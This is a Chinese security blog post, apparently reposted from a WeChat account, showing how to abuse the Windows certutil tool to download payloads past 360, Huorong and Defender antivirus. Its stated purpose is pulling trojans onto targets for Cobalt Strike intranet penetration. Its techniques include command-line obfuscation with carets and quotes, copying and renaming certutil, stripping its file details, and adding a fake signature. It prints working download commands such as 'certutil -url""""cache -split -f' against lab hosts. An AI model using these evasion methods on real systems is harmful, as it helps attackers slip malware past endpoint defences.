certutil之巧:绕过防御的艺术

admin 2023年12月3日07:50:17评论18 views字数 1928阅读6分25秒阅读模式

前言

certutil.exe是windows系统自带的,作为证书服务的命令行程序。用户可以使用certutil.exe转储和显示证书颁发机构配置信息等等以及验证证书、密钥对和证书链。

攻击者喜欢使用certutil命令在目标主机上下载木马,从而上线CS进行内网渗透。当目标主机存在杀软时,直接使用certutil命令会被拦截,导致无法成功下载。本次实验主要是在360核晶防护、火绒、defender三种环境下尝试使用certutil绕过拦截。

certutil下载文件的常见命令为:

certutil -urlcache -split -f http://xxx.com/xx.exe
  • -urlcache参数:显示或删除URL缓存条目。
  • -f参数:覆盖现有文件,后面要跟下载的文件地址。
  • -split参数:保存文件。加的话就下载到当前路径,不加就下载到默认路径。

免杀过程

bypass360核晶防护

首先用网上文章的绕过方式尝试一下,利用缓存文件尝试下载,发现均已被拦截

certutil之巧:绕过防御的艺术

看到这里,可能会有人会疑问certutil绕过为什么会使用到一些符号,使用了这些符号命令为什么还能执行?先来了解一下这些符号在命令行的作用吧

1.";": 在CMD中作为命令分隔符,当;放在一个命令的开头时不会产生任何效果

2.",": 这个字符在 CMD 命令中通常没有特殊含义,它可能被忽略或者导致命令错误。

3."@":在批处理文件中,这个字符用于抑制命令本身的回显。在命令行中直接使用时,它通常不起作用。

4.引号:在 CMD 中,引号主要用于处理包含空格或特殊字符的字符串。当引号用于包围没有空格的文本时,CMD会简单地忽略这些引号,并将被引号分割的文本片段合并为一个连续的字符串。

5."^": 转义字符 ^ 在 CMD 中主要用于转义那些具有特殊含义的字符,比如 &(用于连接两个命令)、|(管道)、> 和 <(重定向),等等。例如,如果你在 CMD 中执行命令 echo ^&,它将输出 &,而不是把 & 视为一个命令分隔符。如果转义的字符不是一个特殊字符,那么 ^ 就被视为没有必要的,因此会被忽略。


所以可以使用这些符号对CMD的命令进行处理,来躲避杀软的检测。这是之前的绕过方式,现在已经不行了。换一种方式进行绕过,把certutil工具复制一份换个名字试试

certutil之巧:绕过防御的艺术

certutil之巧:绕过防御的艺术

还是会拦,看360的拦截提示还是识别到了certutil工具,尝试对certuil进行处理,去除它的详细信息,看能不能绕过的

certutil之巧:绕过防御的艺术


看到没已经没有拦截提示了,尝试下载文件,成功绕过360核晶防护

certutil之巧:绕过防御的艺术

certutil之巧:绕过防御的艺术

bypass火绒

火绒对使用系统的certutil下载文件的拦截非常严格,使用上面的符号进行混淆根本没用,全会被拦截,做了一系列尝试均失败。

certutil之巧:绕过防御的艺术

certutil之巧:绕过防御的艺术

注意火绒的拦截提示是:防护项目利用certutil下载可执行文件。怎么能绕过呢?你只需要对系统的certutil复制一份,重命名一下,就可以随便绕过

certutil之巧:绕过防御的艺术

我没有做任何处理,只是修改了名称,再次执行下载命令,888.exe -urlcache -split -f http://192.168.1.8:8000/README.md,成功绕过

certutil之巧:绕过防御的艺术


bypass defender

不出意外的出现了意外,我把去除了详细信息的程序拖进defende环境,好家伙defender直接给我杀掉了

certutil之巧:绕过防御的艺术

对1.exe处理下,打个假签名

certutil之巧:绕过防御的艺术

看到没已经不杀了

certutil之巧:绕过防御的艺术

执行命令试试会不会拦截

certutil之巧:绕过防御的艺术

之前绕过360和火绒的命令已经被拦截了,继续看,defender的拦截提示信息CmdLine: C:UsersHPDesktoptest.exe -urlcache -split -f http://192.168.10.238:8000/README.md,它并没有报certutil工具说明defender已经判断不出这是certutil那它拦截的点应该是命令行参数了,利用之前的符合对命令行参数进行混淆,如下

certutil之巧:绕过防御的艺术

判断出defender查杀的参数可能是urlcache,经过一系列尝试发现多重引号可以绕过

test.exe -ur""""lcache -split -f http://192.168.1.8:8000/README.md

certutil之巧:绕过防御的艺术

直接使用certutil来验证下defender是不是查杀urlcache命令,

使用certutil -url""""cache -split -f http://192.168.1.8:8000/README.md,依然可以成功下载文件,验证了猜想

certutil之巧:绕过防御的艺术

总结

1.想要绕过杀软,就要弄清楚杀软进行查杀的原理,知道它怎么防御,才能更好地去绕过。2.不同的杀软环境,绕过的手法和方式也不一样,只有亲身实践才能不断积累经验。3.不要害怕失败,失败多了可能下次就成功了。

原文始发于微信公众号(听风安全):certutil之巧:绕过防御的艺术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月3日07:50:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   certutil之巧:绕过防御的艺术http://cn-sec.com/archives/2263877.html

发表评论

匿名网友 填写信息